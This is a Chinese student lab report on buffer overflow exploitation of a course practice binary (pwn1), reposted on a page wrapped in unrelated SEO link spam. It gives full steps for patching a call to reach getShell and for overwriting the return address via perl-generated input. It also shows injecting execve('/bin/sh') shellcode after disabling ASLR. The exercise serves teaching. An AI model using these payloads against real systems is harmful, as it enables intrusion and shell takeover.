当前位置: 首页 > news >正文

免费建设独立域名网站企业品牌推广策划方案

免费建设独立域名网站,企业品牌推广策划方案,香奈儿网站建设目标,如何做网站聚合页20232801 2023-2024-2 《网络攻防实践》实践九报告 1.实践内容 (1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。 (2)利用foo函数的Bof漏洞,构造一个攻击输入字符串&#xf…

20232801 2023-2024-2 《网络攻防实践》实践九报告

1.实践内容

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode

2.实践过程

打开kali虚拟机,将用户名改为ly。将学习通中下载的pwn1工具放入到kali中,通过 mv pwn1 pwn20232801修改pwn1的学号信息。
在这里插入图片描述

1. 修改程序机器指令,改变程序执行流程
使用命令:objdump -d pwn20232801 | more 反编译这个文件。使用enter键可以继续向下查看,找到main函数,foo函数,并且能够发现在main函数中调用了foo函数。
call 8048491:这条指令将调用位于地址8048491处的foo函数,其对应的机器指令为 e8d7ffffff。
main函数调用foo,对应机器指令为“ e8 d7ffffff”
我们想要:让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行:47d-4ba 得到补码为:c3ffffff

在这里插入图片描述
2. 修改可执行文件
为了防止意外,可以回溯源工具,在这里,对pwn20232801 进行了一个复制,pwn20232801-2

cp pwn20232801 pwn20232801-2

打开pwn20232801-2

vi pwn20232801-2

在这里插入图片描述
打开以后发现全是乱码
在这里插入图片描述
输入:%!xxd将显示转化为16进制
在这里插入图片描述

通过/e8d7找到需要修改的内容在这里插入图片描述
修改d7 为c3,注意:在退出保存前需要将16进制转化为原格式。:%!xxd -r
请添加图片描述
我们再次反汇编一下查看是否正确调用getshell:objdump -d pwn2 | more ,修改成功。
请添加图片描述
运行:./pwn20232801
请添加图片描述
3. 改变程序执行流,造成BOF攻击
使用objdump -d pwn20232801 | more观察foo函数,发现其在栈顶中预留了0x1c大小,也就是28个字节的缓冲区域。
当我们输入的字符串长度超出了它预留空间的话,则会出现缓冲区溢出。
那我们只需要需构造一个字符串,使其溢出,溢出部分覆盖原始的返回地址,变成getshell函数的起始地址即可。
请添加图片描述

另外可以用一个语句perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20232801input`
使用 命令:查看是否修改成功。

xxd 20232801input 

请添加图片描述
输入:(cat 20222801input;cat) | ./pwn20222801-2 攻击成功
请添加图片描述

  1. 注入shellcode代码

首先,安装execstack,下载链接:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
下载后使用命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb完成安装 (在此实验由于不小心将复制前的原工具删掉了,重新下载了一个pwn1)

  • 修改设置
execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化more /proc/sys/kernel/randomize_va_space  //查询

请添加图片描述
在这里我们需要分析如何让他溢出覆盖:perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode 即前面的x1\x2\x3\x4需要填写什么。
在一个终端1中输入(cat input_shellcode;cat) | ./pwn1
在打开另外一个终端2输入:ps -ef | grep pwn20232906 可以pwn1的进程号,这里我的是27964。

gdb调试该进程

attach 27964
disassemble foo //通过设置断点,来查看注入buf的内存地址
break *0x080484ae   

请添加图片描述

c   在终端1中按下回车键 (注意是先C 再回车)info r esp  //找到esp寄存器的值,获得我们注入的字符串的地址x/16x 0xffffd52c

从0xffffd52c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d5 30就可以让程序执行Shellcode,所以\x1\x2\x3\x4修改为\x30\x50\xff\xff
计算方法为:0xffffd52c+4=ffffd530

请添加图片描述
于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。

perl -e 'print "A" x 32;print "\x30\x50\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

发现我们成功的获得了shell
请添加图片描述

3.学习中遇到的问题及解决

  • 问题1: 在kali 中使用 apt-get Execstack 无法下载execstack工具
  • 问题1解决方案:找到下载网址,在浏览器中下载后再解压。
  • 问题2:在注入shellcode代码是,使用前面修改过的pwn20232801-2始终找不到正确的地址
  • 问题2解决方案:重新下载了一个pwn1工具。

4.实践总结

学习了什么是缓冲区溢出:指在程序执行过程中,向程序的缓冲区写入了超过其长度的内容,导致数据溢出到被分配空间之外的内存空间,进而覆盖其他内存空间的数据。
以及堆,栈的在数据结构和操作系统中的不同。

参考资料

  • execstack下载
    实践指导书
http://www.hkea.cn/news/709540/

相关文章:

  • 如何做移动端网站邮件营销
  • 网站制作佛山crm管理系统
  • 网站综合营销方案设计网页设计教程
  • 东莞做网站制作宁波技术好的企业网站制作
  • 广州做网站公司哪家好如何注册一个网站
  • 网站备案协议书互联网营销师证书含金量
  • 广州企业网站建设报价免费推广网站大全
  • 宁波网站排名怎么提交网址让百度收录
  • 杭州 手机网站建设活动营销
  • 加网络网站建设工作室做一个企业网站大概需要多少钱
  • 张家港优化网站seo百度网盘下载
  • 烟台有没有做网站网站安全
  • 网站建设与制作设计公司惠州seo代理商
  • 东营新闻网今日头条常州网站seo
  • 东莞全网合一网站黄页引流推广网站软件免费
  • wordpress的数据库在那里百度seo如何快速排名
  • wordpress手机客服代码免费seo快速排名工具
  • web网站开发作品关键词歌词图片
  • 汕头行业网站seo培训公司
  • 网站背景图片优化关键词歌曲免费听
  • 郑州做网站哪家专业我要发布信息
  • 西安做网站优化的公司石家庄seo按天扣费
  • 2022年西安封城通知自动app优化下载
  • 无锡做网站哪家公司好一个公司可以做几个百度推广
  • 专题网站建设工作关键词林俊杰无损下载
  • adobe 网站开发软件软文写作兼职
  • 英文网站建设 淮安免费培训网站
  • 隔离需要多少钱湖南网站seo找行者seo
  • wordpress简单企业站seo怎么刷排名
  • 网站建设与运维泉州全网推广